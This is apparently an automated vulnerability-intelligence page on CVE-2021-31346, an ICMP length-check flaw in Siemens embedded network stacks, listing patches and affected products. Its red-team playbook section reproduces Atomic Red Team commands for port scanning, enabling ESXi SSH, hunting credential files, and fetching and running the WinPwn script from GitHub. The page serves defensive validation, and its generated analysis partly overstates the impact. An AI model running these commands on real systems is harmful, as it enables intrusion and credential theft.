CVE-2021-31346

CRITICAL Pub 09/11 Upd 11/03

Overview

This vulnerability is a protocol-level flaw involving improper validation of the ICMP payload length field within the IP header. The affected component is the network stack implementation in Siemens products including Capital Embedded AR Classic 431-422 and related variants. The unchecked total length of the ICMP payload allows malformed packets to be processed without boundary checks, leading to memory handling anomalies.

Vulnerability Description

A vulnerability has been identified in Capital Embedded AR Classic 431-422 (All versions), Capital Embedded AR Classic R20-11 (All versions < V2303), PLUSCONTROL 1st Gen (All versions), SIMOTICS CONNECT 400 (All versions < V0.5.0.0), SIMOTICS CONNECT 400 (All versions < V1.0.0.0). The total length of an ICMP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0007)

Impact

An unauthenticated attacker with network access can exploit this vulnerability by sending malicious ICMP packets to the affected devices, resulting in potential information disclosure or denial-of-service conditions. The attacker does not require user interaction or elevated privileges (CVSS vector AV:N/AC:L/PR:N/UI:N). This can disrupt operational continuity of industrial control systems relying on these Siemens products, potentially impacting critical infrastructure availability and data confidentiality.

Solution

Siemens has released security advisories SSA-114589, SSA-044112, and SSA-620288 addressing this issue. Affected customers should update to the fixed versions: Capital Embedded AR Classic R20-11 to V2303 or later, SIMOTICS CONNECT 400 to versions V0.5.0.0 or higher, and apply the corresponding patches for PLUSCONTROL 1st Gen and other impacted products as detailed in the advisories. Refer to the Siemens CERT portal for comprehensive patch instructions and mitigation guidance.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in several Siemens products, including Capital Embedded AR Classic and SIMOTICS CONNECT 400, which stems from improper validation of the total length of an ICMP payload as specified in the IP header. This oversight can lead to various adverse effects, such as information leakage and denial-of-service (DoS) conditions. The vulnerability arises from the way network buffers are organized in memory, allowing an attacker to manipulate the ICMP packets sent to the affected devices. This lack of validation could enable malicious actors to exploit the flaw to disrupt services or gain unauthorized access to sensitive information.

Attack vectors for this vulnerability are primarily network-based, as it involves the manipulation of ICMP packets. An attacker could craft specially designed packets to exploit the unchecked length field, potentially leading to buffer overflow conditions. This could result in the execution of arbitrary code or the crashing of the affected services, effectively causing a denial-of-service. Furthermore, if the attacker is able to extract information from the system's memory, they could gain insights into the internal workings of the network or access sensitive data, thus posing a significant risk to the confidentiality and integrity of the information processed by these devices.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on the affected Siemens products for critical operations. The potential for service disruption can lead to significant downtime, which in turn can result in financial losses and damage to reputation. For industries such as manufacturing, energy, and healthcare, where these devices are often integrated into operational technology (OT) environments, the consequences of a successful exploitation could extend beyond financial implications to include safety risks and regulatory compliance issues. The high CVSS score of 9.1 underscores the severity of the threat, emphasizing the need for immediate attention and remediation.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected systems is crucial, as Siemens has released updates to address this issue in various product versions. Network monitoring tools can also be employed to detect unusual ICMP traffic patterns that may indicate an attempted exploitation. Additionally, organizations should consider implementing intrusion detection systems (IDS) that can analyze packet structures and flag anomalies. Conducting thorough risk assessments and penetration testing can further help identify potential weaknesses in the network infrastructure, allowing for proactive measures to be taken.

In conclusion, the vulnerability affecting Siemens products presents a significant threat to organizations that utilize these systems. The potential for exploitation through network-based attacks highlights the importance of robust security practices, including timely updates, continuous monitoring, and comprehensive risk management strategies. By addressing this vulnerability and reinforcing their cybersecurity posture, organizations can mitigate the risks associated with this critical flaw and protect their operational integrity.

Affected Products (11)

Vendor Product Version CPE
siemens Siemens Capital Vstar All cpe:2.3:a:siemens:capital_vstar:*:*:*:*:*:*:*:*
siemens Siemens Nucleus Net All cpe:2.3:a:siemens:nucleus_net:*:*:*:*:*:*:*:*
siemens Siemens Nucleus Readystart V3 All cpe:2.3:a:siemens:nucleus_readystart_v3:*:*:*:*:*:*:*:*
siemens Siemens Nucleus Readystart V4 All cpe:2.3:a:siemens:nucleus_readystart_v4:*:*:*:*:*:*:*:*
siemens Siemens Nucleus Source Code All cpe:2.3:a:siemens:nucleus_source_code:*:*:*:*:*:*:*:*
siemens Siemens Apogee Modular Building Controller Firmware All cpe:2.3:o:siemens:apogee_modular_building_controller_firmware:*:*:*:*:*:*:*:*
siemens Siemens Apogee Modular Equiment Controller Firmware All cpe:2.3:o:siemens:apogee_modular_equiment_controller_firmware:*:*:*:*:*:*:*:*
siemens Siemens Apogee Pxc Compact Firmware All cpe:2.3:o:siemens:apogee_pxc_compact_firmware:*:*:*:*:*:*:*:*
siemens Siemens Apogee Pxc Modular Firmware All cpe:2.3:o:siemens:apogee_pxc_modular_firmware:*:*:*:*:*:*:*:*
siemens Siemens Talon Tc Compact Firmware All cpe:2.3:o:siemens:talon_tc_compact_firmware:*:*:*:*:*:*:*:*
siemens Siemens Talon Tc Modular Firmware All cpe:2.3:o:siemens:talon_tc_modular_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
58% buffer_overflow
Remote Code Execution
55% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (11)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-31346
cert-portal.siemens.com
GitHub CVE x_refsource_MISC
https://cert-portal.siemens.com/productcert/pdf/ssa-114589.pdf
cert-portal.siemens.com
GitHub CVE x_refsource_MISC
https://cert-portal.siemens.com/productcert/pdf/ssa-044112.pdf
cert-portal.siemens.com
GitHub CVE x_refsource_MISC
https://cert-portal.siemens.com/productcert/pdf/ssa-620288.pdf
cert-portal.siemens.com
GitHub CVE x_refsource_MISC
https://cert-portal.siemens.com/productcert/pdf/ssa-845392.pdf
cert-portal.siemens.com
GitHub CVE x_refsource_MISC
https://cert-portal.siemens.com/productcert/pdf/ssa-223353.pdf
cert-portal.siemens.com
GitHub CVE
https://cert-portal.siemens.com/productcert/html/ssa-114589.html
cert-portal.siemens.com
GitHub CVE
https://cert-portal.siemens.com/productcert/html/ssa-044112.html
cert-portal.siemens.com
GitHub CVE
https://cert-portal.siemens.com/productcert/html/ssa-620288.html
cert-portal.siemens.com
GitHub CVE
https://cert-portal.siemens.com/productcert/html/ssa-845392.html
cert-portal.siemens.com
GitHub CVE
https://cert-portal.siemens.com/productcert/html/ssa-223353.html